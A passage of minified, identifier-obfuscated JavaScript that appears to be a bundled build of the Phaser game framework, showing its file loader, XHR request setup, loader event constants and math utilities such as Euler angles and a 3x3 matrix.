_0x53dbd7 = _0xca581a(0x2c3); _0x159026['exports'] = function (_0x5756ac, _0x112c6d) { var _0x455e2c = void 0x0 === _0x5756ac ? _0x53dbd7() : _0x5ae2cb({}, _0x5756ac); if (_0x112c6d) { for (var _0x1942e3 in _0x112c6d) void 0x0 !== _0x112c6d[_0x1942e3] && (_0x455e2c[_0x1942e3] = _0x112c6d[_0x1942e3]); } return _0x455e2c; }; }, 0xc41: (_0x324528, _0x3cd994, _0x3d43e9) => { var _0x25a323 = _0x3d43e9(0x1d31), _0x343851 = _0x3d43e9(0x1107), _0x4beac6 = _0x3d43e9(0x49b), _0x27be55 = new _0x25a323({ 'initialize': function (_0x2fcaad, _0x1765e7, _0x1a1c9f, _0x33a589) { var _0x431bd8 = []; _0x33a589['forEach'](function (_0x209c5d) { _0x209c5d && _0x431bd8['push'](_0x209c5d); }), this['loader'] = _0x2fcaad, this['type'] = _0x1765e7, this['key'] = _0x1a1c9f; var _0x1db4ec = this['key']; _0x2fcaad['prefix'] && '' !== _0x2fcaad['prefix'] && (this['key'] = _0x2fcaad['prefix'] + _0x1db4ec), this['multiKeyIndex'] = _0x2fcaad['multiKeyIndex']++, this['files'] = _0x431bd8, this['state'] = _0x343851['FILE_PENDING'], this['complete'] = !0x1, this['pending'] = _0x431bd8['length'], this['failed'] = 0x0, this['config'] = {}, this['baseURL'] = _0x2fcaad['baseURL'], this['path'] = _0x2fcaad['path'], this['prefix'] = _0x2fcaad['prefix']; for (var _0x20f2c8 = 0x0; _0x20f2c8 < _0x431bd8['length']; _0x20f2c8++)_0x431bd8[_0x20f2c8]['multiFile'] = this; }, 'isReadyToProcess': function () { return 0x0 === this['pending'] && 0x0 === this['failed'] && !this['complete']; }, 'addToMultiFile': function (_0x499519) { return this['files']['push'](_0x499519), _0x499519['multiFile'] = this, this['pending']++, this['complete'] = !0x1, this; }, 'onFileComplete': function (_0x16aebf) { -0x1 !== this['files']['indexOf'](_0x16aebf) && this['pending']--; }, 'onFileFailed': function (_0x512bf2) { -0x1 !== this['files']['indexOf'](_0x512bf2) && this['failed']++; }, 'pendingDestroy': function () { if (this['state'] !== _0x343851['FILE_PENDING_DESTROY']) { var _0x21895a = this['key'], _0x2b5d9 = this['type']; this['loader']['emit'](_0x4beac6['FILE_COMPLETE'], _0x21895a, _0x2b5d9), this['loader']['emit'](_0x4beac6['FILE_KEY_COMPLETE'] + _0x2b5d9 + '-' + _0x21895a, _0x21895a, _0x2b5d9), this['loader']['flagForRemoval'](this); for (var _0x43c607 = 0x0; _0x43c607 < this['files']['length']; _0x43c607++)this['files'][_0x43c607]['pendingDestroy'](); this['state'] = _0x343851['FILE_PENDING_DESTROY']; } }, 'destroy': function () { this['loader'] = null, this['files'] = null, this['config'] = null; } }); _0x324528['exports'] = _0x27be55; }, 0x16f2: (_0x20805d, _0x525372, _0x2e1587) => { var _0x2a6bd3 = _0x2e1587(0x1cf2); _0x20805d['exports'] = function (_0x146956, _0x4ae60b) { var _0x56e711 = _0x2a6bd3(_0x4ae60b, _0x146956['xhrSettings']), _0x22d943 = new XMLHttpRequest(); if (_0x22d943['open']('GET', _0x146956['src'], _0x56e711['async'], _0x56e711['user'], _0x56e711['password']), _0x22d943['responseType'] = _0x146956['xhrSettings']['responseType'], _0x22d943['timeout'] = _0x56e711['timeout'], _0x56e711['headers']) { for (var _0x386f52 in _0x56e711['headers']) _0x22d943['setRequestHeader'](_0x386f52, _0x56e711['headers'][_0x386f52]); } return _0x56e711['header'] && _0x56e711['headerValue'] && _0x22d943['setRequestHeader'](_0x56e711['header'], _0x56e711['headerValue']), _0x56e711['requestedWith'] && _0x22d943['setRequestHeader']('X-Requested-With', _0x56e711['requestedWith']), _0x56e711['overrideMimeType'] && _0x22d943['overrideMimeType'](_0x56e711['overrideMimeType']), _0x56e711['withCredentials'] && (_0x22d943['withCredentials'] = !0x0), _0x22d943['onload'] = _0x146956['onLoad']['bind'](_0x146956, _0x22d943), _0x22d943['onerror'] = _0x146956['onError']['bind'](_0x146956, _0x22d943), _0x22d943['onprogress'] = _0x146956['onProgress']['bind'](_0x146956), _0x22d943['send'](), _0x22d943; }; }, 0x2c3: _0x3aff20 => { _0x3aff20['exports'] = function (_0x2bc6f2, _0x4b55d3, _0x5ec977, _0x1c03f9, _0x557bbb, _0x4f2f76) { return void 0x0 === _0x2bc6f2 && (_0x2bc6f2 = ''), void 0x0 === _0x4b55d3 && (_0x4b55d3 = !0x0), void 0x0 === _0x5ec977 && (_0x5ec977 = ''), void 0x0 === _0x1c03f9 && (_0x1c03f9 = ''), void 0x0 === _0x557bbb && (_0x557bbb = 0x0), void 0x0 === _0x4f2f76 && (_0x4f2f76 = !0x1), { 'responseType': _0x2bc6f2, 'async': _0x4b55d3, 'user': _0x5ec977, 'password': _0x1c03f9, 'timeout': _0x557bbb, 'headers': void 0x0, 'header': void 0x0, 'headerValue': void 0x0, 'requestedWith': !0x1, 'overrideMimeType': void 0x0, 'withCredentials': _0x4f2f76 }; }; }, 0x1107: _0x1751e8 => { _0x1751e8['exports'] = { 'LOADER_IDLE': 0x0, 'LOADER_LOADING': 0x1, 'LOADER_PROCESSING': 0x2, 'LOADER_COMPLETE': 0x3, 'LOADER_SHUTDOWN': 0x4, 'LOADER_DESTROYED': 0x5, 'FILE_PENDING': 0xa, 'FILE_LOADING': 0xb, 'FILE_LOADED': 0xc, 'FILE_FAILED': 0xd, 'FILE_PROCESSING': 0xe, 'FILE_ERRORED': 0x10, 'FILE_COMPLETE': 0x11, 'FILE_DESTROYED': 0x12, 'FILE_POPULATED': 0x13, 'FILE_PENDING_DESTROY': 0x14 }; }, 0x1ce: _0x4fc2b5 => { _0x4fc2b5['exports'] = 'addfile'; }, 0x1c81: _0x3ab061 => { _0x3ab061['exports'] = 'complete'; }, 0x21d4: _0x494185 => { _0x494185['exports'] = 'filecomplete'; }, 0x1954: _0x3b6918 => { _0x3b6918['exports'] = 'filecomplete-'; }, 0x1f24: _0x20bcaf => { _0x20bcaf['exports'] = 'loaderror'; }, 0x772: _0x46b655 => { _0x46b655['exports'] = 'load'; }, 0x5a1: _0x17ce26 => { _0x17ce26['exports'] = 'fileprogress'; }, 0x430: _0x49ff30 => { _0x49ff30['exports'] = 'postprocess'; }, 0x787: _0x2c0471 => { _0x2c0471['exports'] = 'progress'; }, 0x19c5: _0x11e9fd => { _0x11e9fd['exports'] = 'start'; }, 0x49b: (_0x2340c8, _0xaf03c2, _0x39aabe) => { _0x2340c8['exports'] = { 'ADD': _0x39aabe(0x1ce), 'COMPLETE': _0x39aabe(0x1c81), 'FILE_COMPLETE': _0x39aabe(0x21d4), 'FILE_KEY_COMPLETE': _0x39aabe(0x1954), 'FILE_LOAD_ERROR': _0x39aabe(0x1f24), 'FILE_LOAD': _0x39aabe(0x772), 'FILE_PROGRESS': _0x39aabe(0x5a1), 'POST_PROCESS': _0x39aabe(0x430), 'PROGRESS': _0x39aabe(0x787), 'START': _0x39aabe(0x19c5) }; }, 0x1a4c: (_0x3fb8bb, _0x449b4d, _0x161515) => { var _0x38cf17 = _0x161515(0x1d31), _0x47c118 = _0x161515(0x1107), _0x47d6b8 = _0x161515(0x639), _0x531847 = _0x161515(0x2675), _0x312bbc = _0x161515(0x11f5), _0x544e94 = _0x161515(0x9b2), _0x586582 = _0x161515(0x15d9), _0x2e52d3 = new _0x38cf17({ 'Extends': _0x47d6b8, 'initialize': function _0x979a24(_0x458a0c, _0x11a842, _0xb6e94e, _0x580330, _0x402cf8) { var _0x12f211, _0x1d5894 = 'png'; if (_0x544e94(_0x11a842)) { var _0x423643 = _0x11a842; _0x11a842 = _0x312bbc(_0x423643, 'key'), _0xb6e94e = _0x312bbc(_0x423643, 'url'), _0x12f211 = _0x312bbc(_0x423643, 'normalMap'), _0x580330 = _0x312bbc(_0x423643, 'xhrSettings'), _0x1d5894 = _0x312bbc(_0x423643, 'extension', _0x1d5894), _0x402cf8 = _0x312bbc(_0x423643, 'frameConfig'); } Array['isArray'](_0xb6e94e) && (_0x12f211 = _0xb6e94e[0x1], _0xb6e94e = _0xb6e94e[0x0]); var _0x4fbcd2 = { 'type': 'image', 'cache': _0x458a0c['textureManager'], 'extension': _0x1d5894, 'responseType': 'blob', 'key': _0x11a842, 'url': _0xb6e94e, 'xhrSettings': _0x580330, 'config': _0x402cf8 }; if (_0x47d6b8['call'](this, _0x458a0c, _0x4fbcd2), _0x12f211) { var _0x1aa0d4 = new _0x979a24(_0x458a0c, this['key'], _0x12f211, _0x580330, _0x402cf8); _0x1aa0d4['type'] = 'normalMap', this['setLink'](_0x1aa0d4), _0x458a0c['addFile'](_0x1aa0d4); } this['useImageElementLoad'] = 'HTMLImageElement' === _0x458a0c['imageLoadType'], this['useImageElementLoad'] && (this['load'] = this['loadImage'], this['onProcess'] = this['onProcessImage']); }, 'onProcess': function () { this['state'] = _0x47c118['FILE_PROCESSING'], this['data'] = new Image(), this['data']['crossOrigin'] = this['crossOrigin']; var _0x46480e = this; this['data']['onload'] = function () { _0x47d6b8['revokeObjectURL'](_0x46480e['data']), _0x46480e['onProcessComplete'](); }, this['data']['onerror'] = function () { _0x47d6b8['revokeObjectURL'](_0x46480e['data']), _0x46480e['onProcessError'](); }, _0x47d6b8['createObjectURL'](this['data'], this['xhrLoader']['response'], 'image/png'); }, 'onProcessImage': function () { var _0x316d8f = this['state']; this['state'] = _0x47c118['FILE_PROCESSING'], _0x316d8f === _0x47c118['FILE_LOADED'] ? this['onProcessComplete']() : this['onProcessError'](); }, 'loadImage': function () { if (this['state'] = _0x47c118['FILE_LOADING'], this['src'] = _0x586582(this, this['loader']['baseURL']), 0x0 === this['src']['indexOf']('data:')); else { this['data'] = new Image(), this['data']['crossOrigin'] = this['crossOrigin']; var _0x204886 = this; this['data']['onload'] = function () { _0x204886['state'] = _0x47c118['FILE_LOADED'], _0x204886['loader']['nextFile'](_0x204886, !0x0); }, this['data']['onerror'] = function () { _0x204886['loader']['nextFile'](_0x204886, !0x1); }, this['data']['src'] = this['src']; } }, 'addToCache': function () { var _0x3ec549 = this['linkFile']; _0x3ec549 ? _0x3ec549['state'] >= _0x47c118['FILE_COMPLETE'] && ('spritesheet' === _0x3ec549['type'] ? _0x3ec549['addToCache']() : 'normalMap' === this['type'] ? this['cache']['addImage'](this['key'], _0x3ec549['data'], this['data']) : this['cache']['addImage'](this['key'], this['data'], _0x3ec549['data'])) : this['cache']['addImage'](this['key'], this['data']); } }); _0x531847['register']('image', function (_0x5d6be5, _0x43ea43, _0x1cfc22) { if (Array['isArray'](_0x5d6be5)) { for (var _0x4c04b6 = 0x0; _0x4c04b6 < _0x5d6be5['length']; _0x4c04b6++)this['addFile'](new _0x2e52d3(this, _0x5d6be5[_0x4c04b6])); } else this['addFile'](new _0x2e52d3(this, _0x5d6be5, _0x43ea43, _0x1cfc22)); return this; }), _0x3fb8bb['exports'] = _0x2e52d3; }, 0x2c0: (_0x3a4279, _0x6e9a20, _0x49604d) => { var _0x5909cc = _0x49604d(0x1d31), _0x44c51c = _0x49604d(0x1107), _0x1773b5 = _0x49604d(0x639), _0x43afd7 = _0x49604d(0x2675), _0x28c7d5 = _0x49604d(0x11f5), _0x3dc1e1 = _0x49604d(0x16db), _0x218cee = _0x49604d(0x9b2), _0x2df935 = new _0x5909cc({ 'Extends': _0x1773b5, 'initialize': function (_0x12dda7, _0x102a5c, _0x230355, _0xa693c3, _0x3b292d) { var _0x10a5b6 = 'json'; if (_0x218cee(_0x102a5c)) { var _0x35a9ad = _0x102a5c; _0x102a5c = _0x28c7d5(_0x35a9ad, 'key'), _0x230355 = _0x28c7d5(_0x35a9ad, 'url'), _0xa693c3 = _0x28c7d5(_0x35a9ad, 'xhrSettings'), _0x10a5b6 = _0x28c7d5(_0x35a9ad, 'extension', _0x10a5b6), _0x3b292d = _0x28c7d5(_0x35a9ad, 'dataKey', _0x3b292d); } var _0x3b8841 = { 'type': 'json', 'cache': _0x12dda7['cacheManager']['json'], 'extension': _0x10a5b6, 'responseType': 'text', 'key': _0x102a5c, 'url': _0x230355, 'xhrSettings': _0xa693c3, 'config': _0x3b292d }; _0x1773b5['call'](this, _0x12dda7, _0x3b8841), _0x218cee(_0x230355) && (this['data'] = _0x3b292d ? _0x3dc1e1(_0x230355, _0x3b292d) : _0x230355, this['state'] = _0x44c51c['FILE_POPULATED']); }, 'onProcess': function () { if (this['state'] !== _0x44c51c['FILE_POPULATED']) { this['state'] = _0x44c51c['FILE_PROCESSING']; try { var _0x50a5e5 = JSON['parse'](this['xhrLoader']['responseText']); } catch (_0x110de8) { throw this['onProcessError'](), _0x110de8; } var _0x3f478d = this['config']; this['data'] = 'string' == typeof _0x3f478d ? _0x3dc1e1(_0x50a5e5, _0x3f478d, _0x50a5e5) : _0x50a5e5; } this['onProcessComplete'](); } }); _0x43afd7['register']('json', function (_0x179ad5, _0x2776b6, _0x3991c2, _0x32cedc) { if (Array['isArray'](_0x179ad5)) { for (var _0x2b70a5 = 0x0; _0x2b70a5 < _0x179ad5['length']; _0x2b70a5++)this['addFile'](new _0x2df935(this, _0x179ad5[_0x2b70a5])); } else this['addFile'](new _0x2df935(this, _0x179ad5, _0x2776b6, _0x32cedc, _0x3991c2)); return this; }), _0x3a4279['exports'] = _0x2df935; }, 0x4a8: (_0x8bfebd, _0x114330, _0x3d4165) => { var _0x3e933f = _0x3d4165(0x1d31), _0x445f2e = _0x3d4165(0x1107), _0x2c5b40 = _0x3d4165(0x639), _0x4175a9 = _0x3d4165(0x2675), _0x4796c0 = _0x3d4165(0x11f5), _0x119fca = _0x3d4165(0x9b2), _0x334a08 = new _0x3e933f({ 'Extends': _0x2c5b40, 'initialize': function (_0x365863, _0x19cedc, _0x428d78, _0xcb8949) { var _0x47264e = 'text', _0x696bd = 'txt', _0x1388fc = _0x365863['cacheManager']['text']; if (_0x119fca(_0x19cedc)) { var _0x88955d = _0x19cedc; _0x19cedc = _0x4796c0(_0x88955d, 'key'), _0x428d78 = _0x4796c0(_0x88955d, 'url'), _0xcb8949 = _0x4796c0(_0x88955d, 'xhrSettings'), _0x696bd = _0x4796c0(_0x88955d, 'extension', _0x696bd), _0x47264e = _0x4796c0(_0x88955d, 'type', _0x47264e), _0x1388fc = _0x4796c0(_0x88955d, 'cache', _0x1388fc); } var _0x4864f0 = { 'type': _0x47264e, 'cache': _0x1388fc, 'extension': _0x696bd, 'responseType': 'text', 'key': _0x19cedc, 'url': _0x428d78, 'xhrSettings': _0xcb8949 }; _0x2c5b40['call'](this, _0x365863, _0x4864f0); }, 'onProcess': function () { this['state'] = _0x445f2e['FILE_PROCESSING'], this['data'] = this['xhrLoader']['responseText'], this['onProcessComplete'](); } }); _0x4175a9['register']('text', function (_0x21f407, _0x21b395, _0x23c5dd) { if (Array['isArray'](_0x21f407)) { for (var _0x5e2695 = 0x0; _0x5e2695 < _0x21f407['length']; _0x5e2695++)this['addFile'](new _0x334a08(this, _0x21f407[_0x5e2695])); } else this['addFile'](new _0x334a08(this, _0x21f407, _0x21b395, _0x23c5dd)); return this; }), _0x8bfebd['exports'] = _0x334a08; }, 0xc40: _0x2ea579 => { _0x2ea579['exports'] = function (_0xbe6689) { for (var _0xfc55 = 0x0, _0x4df9a5 = 0x0; _0x4df9a5 < _0xbe6689['length']; _0x4df9a5++)_0xfc55 += +_0xbe6689[_0x4df9a5]; return _0xfc55 / _0xbe6689['length']; }; }, 0x311: (_0x31fffe, _0x231944, _0x188701) => { var _0x29505b = _0x188701(0xf4c); _0x31fffe['exports'] = function (_0xfa3161, _0x368a96) { return _0x29505b(_0xfa3161) / _0x29505b(_0x368a96) / _0x29505b(_0xfa3161 - _0x368a96); }; }, 0x1b71: _0x5a75c2 => { _0x5a75c2['exports'] = function (_0x2b030e, _0x4fd26b) { return Math['floor'](Math['random']() * (_0x4fd26b - _0x2b030e + 0x1) + _0x2b030e); }; }, 0x30: _0x1bc89b => { _0x1bc89b['exports'] = function (_0xe27208, _0x4789f3, _0x12b790, _0xc7dd50, _0x1c4fc1) { var _0x1e82b5 = 0.5 * (_0xc7dd50 - _0x4789f3), _0x2e31ec = 0.5 * (_0x1c4fc1 - _0x12b790), _0xb48b12 = _0xe27208 * _0xe27208; return (0x2 * _0x12b790 - 0x2 * _0xc7dd50 + _0x1e82b5 + _0x2e31ec) * (_0xe27208 * _0xb48b12) + (-0x3 * _0x12b790 + 0x3 * _0xc7dd50 - 0x2 * _0x1e82b5 - _0x2e31ec) * _0xb48b12 + _0x1e82b5 * _0xe27208 + _0x12b790; }; }, 0x13ab: _0xc8c82 => { _0xc8c82['exports'] = function (_0x23bc5a, _0x4a91f3, _0x4b23ba) { void 0x0 === _0x4a91f3 && (_0x4a91f3 = 0x0), void 0x0 === _0x4b23ba && (_0x4b23ba = 0xa); var _0x13b22f = Math['pow'](_0x4b23ba, -_0x4a91f3); return Math['ceil'](_0x23bc5a * _0x13b22f) / _0x13b22f; }; }, 0xb63: _0x2f7ef3 => { _0x2f7ef3['exports'] = function (_0x5371cc, _0x3047fe, _0xfcf474) { return Math['max'](_0x3047fe, Math['min'](_0xfcf474, _0x5371cc)); }; }, 0x1bed: (_0x294eb0, _0x391a00, _0x58ba42) => { var _0x16bec5 = _0x58ba42(0x1d01); _0x294eb0['exports'] = function (_0x473368) { return _0x473368 * _0x16bec5['DEG_TO_RAD']; }; }, 0xb9f: _0x270c48 => { _0x270c48['exports'] = function (_0xc3aeb6, _0x42152a) { return Math['abs'](_0xc3aeb6 - _0x42152a); }; }, 0x83b: (_0x2f008e, _0x1cddb7, _0x13e576) => { var _0x555512 = _0x13e576(0xb63), _0x3689e2 = _0x13e576(0x1d31), _0x8ecbbf = _0x13e576(0x25b4), _0x1b2ca5 = _0x13e576(0x7c0), _0x26491a = new _0x8ecbbf(), _0x5204d3 = new _0x3689e2({ 'initialize': function _0x4b1d7e(_0x4ed223, _0x46d63e, _0x69a8ad, _0x39b6e3) { void 0x0 === _0x4ed223 && (_0x4ed223 = 0x0), void 0x0 === _0x46d63e && (_0x46d63e = 0x0), void 0x0 === _0x69a8ad && (_0x69a8ad = 0x0), void 0x0 === _0x39b6e3 && (_0x39b6e3 = _0x4b1d7e['DefaultOrder']), this['_x'] = _0x4ed223, this['_y'] = _0x46d63e, this['_z'] = _0x69a8ad, this['_order'] = _0x39b6e3, this['onChangeCallback'] = _0x1b2ca5; }, 'x': { 'get': function () { return this['_x']; }, 'set': function (_0x55c7d2) { this['_x'] = _0x55c7d2, this['onChangeCallback'](this); } }, 'y': { 'get': function () { return this['_y']; }, 'set': function (_0x3e42d6) { this['_y'] = _0x3e42d6, this['onChangeCallback'](this); } }, 'z': { 'get': function () { return this['_z']; }, 'set': function (_0x4063a5) { this['_z'] = _0x4063a5, this['onChangeCallback'](this); } }, 'order': { 'get': function () { return this['_order']; }, 'set': function (_0x22e53b) { this['_order'] = _0x22e53b, this['onChangeCallback'](this); } }, 'set': function (_0x3d79a1, _0x92b03c, _0x8c5e55, _0xe3d88b) { return void 0x0 === _0xe3d88b && (_0xe3d88b = this['_order']), this['_x'] = _0x3d79a1, this['_y'] = _0x92b03c, this['_z'] = _0x8c5e55, this['_order'] = _0xe3d88b, this['onChangeCallback'](this), this; }, 'copy': function (_0x35d11b) { return this['set'](_0x35d11b['x'], _0x35d11b['y'], _0x35d11b['z'], _0x35d11b['order']); }, 'setFromQuaternion': function (_0x597b58, _0x1afd80, _0x38d927) { return void 0x0 === _0x1afd80 && (_0x1afd80 = this['_order']), void 0x0 === _0x38d927 && (_0x38d927 = !0x1), _0x26491a['fromQuat'](_0x597b58), this['setFromRotationMatrix'](_0x26491a, _0x1afd80, _0x38d927); }, 'setFromRotationMatrix': function (_0x44c57c, _0xabd7c4, _0xb8025) { void 0x0 === _0xabd7c4 && (_0xabd7c4 = this['_order']), void 0x0 === _0xb8025 && (_0xb8025 = !0x1); var _0x542791 = _0x44c57c['val'], _0xe0d25e = _0x542791[0x0], _0x3ccb3d = _0x542791[0x4], _0x5a8097 = _0x542791[0x8], _0x442236 = _0x542791[0x1], _0x1c6cb1 = _0x542791[0x5], _0x751487 = _0x542791[0x9], _0x3452dd = _0x542791[0x2], _0x43455e = _0x542791[0x6], _0x80f7c1 = _0x542791[0xa], _0x18b78e = 0x0, _0x4979ac = 0x0, _0x1abd30 = 0x0, _0x503089 = 0.99999; switch (_0xabd7c4) { case 'XYZ': _0x4979ac = Math['asin'](_0x555512(_0x5a8097, -0x1, 0x1)), Math['abs'](_0x5a8097) < _0x503089 ? (_0x18b78e = Math['atan2'](-_0x751487, _0x80f7c1), _0x1abd30 = Math['atan2'](-_0x3ccb3d, _0xe0d25e)) : _0x18b78e = Math['atan2'](_0x43455e, _0x1c6cb1); break; case 'YXZ': _0x18b78e = Math['asin'](-_0x555512(_0x751487, -0x1, 0x1)), Math['abs'](_0x751487) < _0x503089 ? (_0x4979ac = Math['atan2'](_0x5a8097, _0x80f7c1), _0x1abd30 = Math['atan2'](_0x442236, _0x1c6cb1)) : _0x4979ac = Math['atan2'](-_0x3452dd, _0xe0d25e); break; case 'ZXY': _0x18b78e = Math['asin'](_0x555512(_0x43455e, -0x1, 0x1)), Math['abs'](_0x43455e) < _0x503089 ? (_0x4979ac = Math['atan2'](-_0x3452dd, _0x80f7c1), _0x1abd30 = Math['atan2'](-_0x3ccb3d, _0x1c6cb1)) : _0x1abd30 = Math['atan2'](_0x442236, _0xe0d25e); break; case 'ZYX': _0x4979ac = Math['asin'](-_0x555512(_0x3452dd, -0x1, 0x1)), Math['abs'](_0x3452dd) < _0x503089 ? (_0x18b78e = Math['atan2'](_0x43455e, _0x80f7c1), _0x1abd30 = Math['atan2'](_0x442236, _0xe0d25e)) : _0x1abd30 = Math['atan2'](-_0x3ccb3d, _0x1c6cb1); break; case 'YZX': _0x1abd30 = Math['asin'](_0x555512(_0x442236, -0x1, 0x1)), Math['abs'](_0x442236) < _0x503089 ? (_0x18b78e = Math['atan2'](-_0x751487, _0x1c6cb1), _0x4979ac = Math['atan2'](-_0x3452dd, _0xe0d25e)) : _0x4979ac = Math['atan2'](_0x5a8097, _0x80f7c1); break; case 'XZY': _0x1abd30 = Math['asin'](-_0x555512(_0x3ccb3d, -0x1, 0x1)), Math['abs'](_0x3ccb3d) < _0x503089 ? (_0x18b78e = Math['atan2'](_0x43455e, _0x1c6cb1), _0x4979ac = Math['atan2'](_0x5a8097, _0xe0d25e)) : _0x18b78e = Math['atan2'](-_0x751487, _0x80f7c1); }return this['_x'] = _0x18b78e, this['_y'] = _0x4979ac, this['_z'] = _0x1abd30, this['_order'] = _0xabd7c4, _0xb8025 && this['onChangeCallback'](this), this; } }); _0x5204d3['RotationOrders'] = ['XYZ', 'YXZ', 'ZXY', 'ZYX', 'YZX', 'XZY'], _0x5204d3['DefaultOrder'] = 'XYZ', _0x2f008e['exports'] = _0x5204d3; }, 0xf4c: _0x20a23e => { _0x20a23e['exports'] = function (_0x4d8c49) { if (0x0 === _0x4d8c49) return 0x1; for (var _0x5cecf3 = _0x4d8c49; --_0x4d8c49;)_0x5cecf3 *= _0x4d8c49; return _0x5cecf3; }; }, 0x68: _0x56b31f => { _0x56b31f['exports'] = function (_0x2db402, _0x452420) { return Math['random']() * (_0x452420 - _0x2db402) + _0x2db402; }; }, 0x134d: _0x2af318 => { _0x2af318['exports'] = function (_0x2c91f9, _0x32a0ef, _0x436507) { void 0x0 === _0x32a0ef && (_0x32a0ef = 0x0), void 0x0 === _0x436507 && (_0x436507 = 0xa); var _0x2f7b55 = Math['pow'](_0x436507, -_0x32a0ef); return Math['floor'](_0x2c91f9 * _0x2f7b55) / _0x2f7b55; }; }, 0x613: (_0xc3ced7, _0x1546e9, _0x3fdbbe) => { var _0x19d441 = _0x3fdbbe(0xb63); _0xc3ced7['exports'] = function (_0x49c345, _0x254a6b, _0x4b1386) { return (_0x4b1386 - _0x254a6b) * (_0x49c345 = _0x19d441(_0x49c345, 0x0, 0x1)) + _0x254a6b; }; }, 0x138d: _0x5a3832 => { _0x5a3832['exports'] = function (_0x13e025, _0x2bcc5e) { return _0x13e025 / _0x2bcc5e / 0x3e8; }; }, 0xe76: _0x9144b2 => { _0x9144b2['exports'] = function (_0x195b1b) { return _0x195b1b == parseFloat(_0x195b1b) ? !(_0x195b1b % 0x2) : void 0x0; }; }, 0x2274: _0x2b96a6 => { _0x2b96a6['exports'] = function (_0x2b5077) { return _0x2b5077 === parseFloat(_0x2b5077) ? !(_0x2b5077 % 0x2) : void 0x0; }; }, 0x6cf: _0x49528a => { _0x49528a['exports'] = function (_0x2c2dd3, _0xbe35c5, _0x258f74) { return (_0xbe35c5 - _0x2c2dd3) * _0x258f74 + _0x2c2dd3; }; }, 0xd58: _0x208f55 => { _0x208f55['exports'] = function (_0x235d5f, _0x347321, _0x1e3490) { return void 0x0 === _0x1e3490 && (_0x1e3490 = 0x0), _0x235d5f['clone']()['lerp'](_0x347321, _0x1e3490); }; }, 0x865: (_0x46a6db, _0x400f84, _0x5bedd1) => { var _0x3d62c2 = new (_0x5bedd1(0x1d31))({ 'initialize': function (_0xa87fdb) { this['val'] = new Float32Array(0x9), _0xa87fdb ? this['copy'](_0xa87fdb) : this['identity'](); }, 'clone': function () { return new _0x3d62c2(this); }, 'set': function (_0x110440) { return this['copy'](_0x110440); }, 'copy': function (_0x1e5c33) { var _0x282615 = this['val'], _0x427747 = _0x1e5c33['val']; return _0x282615[0x0] = _0x427747[0x0], _0x282615[0x1] = _0x427747[0x1], _0x282615[0x2] = _0x427747[0x2], _0x282615[0x3] = _0x427747[0x3], _0x282615[0x4] = _0x427747[0x4], _0x282615[0x5] = _0x427747[0x5], _0x282615[0x6] = _0x427747[0x6], _0x282615[0x7] = _0x427747[0x7], _0x282615[0x8] = _0x427747[0x8], this; }, 'fromMat4': function (_0x5163c9) { var _0x5f0e34 = _0x5163c9['val'], _0x21640f = this['val']; return _0x21640f[0x0] = _0x5f0e34[0x0], _0x21640f[0x1] = _0x5f0e34[0x1], _0x21640f[0x2] = _0x5f0e34[0x2], _0x21640f[0x3] = _0x5f0e34[0x4], _0x21640f[0x4] = _0x5f0e34[0x5], _0x21640f[0x5] = _0x5f0e34[0x6], _0x21640f[0x6] = _0x5f0e34[0x8], _0x21640f[0x7] = _0x5f0e34[0x9], _0x21640f[0x8] = _0x5f0e34[0xa], this; }, 'fromArray': function (_0x58f380) { var _0x25e270 = this['val']; return _0x25e270[0x0] = _0x58f380[0x0], _0x25e270[0x1] = _0x58f380[0x1], _0x25e270[0x2] = _0x58f380[0x2], _0x25e270[0x3] = _0x58f380[0x3], _0x25e270[0x4] = _0x58f380[0x4], _0x25e270[0x5] = _0x58f380[0x5], _0x25e270[0x6] = _0x58f380[0x6], _0x25e270[0x7] = _0x58f380[0x7], _0x25e270[0x8] = _0x58f380[0x8], this; }, 'identity': function () { var _0x54f7ba = this['val']; return _0x54f7ba[0x0] = 0x1, _0x54f7ba[0x1] = 0x0, _0x54f7ba[0x2] = 0x0, _0x54f7ba[0x3] = 0x0, _0x54f7ba[0x4] = 0x1, _0x54f7ba[0x5] = 0x0, _0x54f7ba[0x6] = 0x0, _0x54f7ba[0x7] = 0x0, _0x54f7ba[0x8] = 0x1, this; }, 'transpose': function () { var _0x10360d = this['val'], _0x57af09 = _0x10360d[0x1], _0x100334 = _0x10360d[0x2], _0x109d71 = _0x10360d[0x5]; return _0x10360d[0x1] = _0x10360d[0x3], _0x10360d[0x2] = _0x10360d[0x6], _0x10360d[0x3] = _0x57af09, _0x10360d[0x5] = _0x10360d[0x7], _0x10360d[0x6] = _0x100334, _0x10360d[0x7] = _0x109d71, this; }, 'invert': function () { var _0x17fcd1 = this['val'], _0x1a16b8 = _0x17fcd1[0x0], _0x41ce60 = _0x17fcd1[0x1], _0x378e1f = _0x17fcd1[0x2], _0x45bd15 = _0x17fcd1[0x3], _0x4d8e62 = _0x17fcd1[0x4], _0x41006f = _0x17fcd1[0x5], _0x3eb7e1 = _0x17fcd1[0x6], _0x2e3dc5 = _0x17fcd1[0x7], _0x259560 = _0x17fcd1[0x8], _0x1d9021 = _0x259560 * _0x4d8e62 - _0x41006f * _0x2e3dc5, _0x3bf266 = -_0x259560 * _0x45bd15 + _0x41006f * _0x3eb7e1, _0x5a18a8 = _0x2e3dc5 * _0x45bd15 - _0x4d8e62 * _0x3eb7e1, _0x16c90 = _0x1a16b8 * _0x1d9021 + _0x41ce60 * _0x3bf266 + _0x378e1f * _0x5a18a8; return _0x16c90 ? (_0x16c90 = 0x1 / _0x16c90, _0x17fcd1[0x0] = _0x1d9021 * _0x16c90, _0x17fcd1[0x1] = (-_0x259560 * _0x41ce60 + _0x378e1f * _0x2e3dc5) * _0x16c90, _0x17fcd1[0x2] = (_0x41006f * _0x41ce60 - _0x378e1f * _0x4d8e62) * _0x16c90, _0x17fcd1[0x3] = _0x3bf266 * _0x16c90, _0x17fcd1[0x4] = (_0x259560 * _0x1a16b8 - _0x378e1f * _0x3eb7e1) * _0x16c90, _0x17fcd1[0x5] = (-_0x41006f * _0x1a16b8 + _0x378e1f * _0x45bd15) * _0x16c90, _0x17fcd1[0x6] = _0x5a18a8 * _0x16c90, _0x17fcd1[0x7] = (-_0x2e3dc5 * _0x1a16b8 + _0x41ce60 * _0x3eb7e1) * _0x16c90, _0x17fcd1[0x8] = (_0x4d8e62 * _0x1a16b8 - _0x41ce60 * _0x45bd15) * _0x16c90, this) : null; }, 'adjoint': function () { var _0x3f7608 = this['val'], _0xae4a46 = _0x3f7608[0x0], _0x43e5b4 = _0x3f7608[0x1], _0x13aaa3 = _0x3f7608[0x2], _0x42a649 = _0x3f7608[0x3], _0x416307 = _0x3f7608[0x4], _0x65a068 = _0x3f7608[0x5], 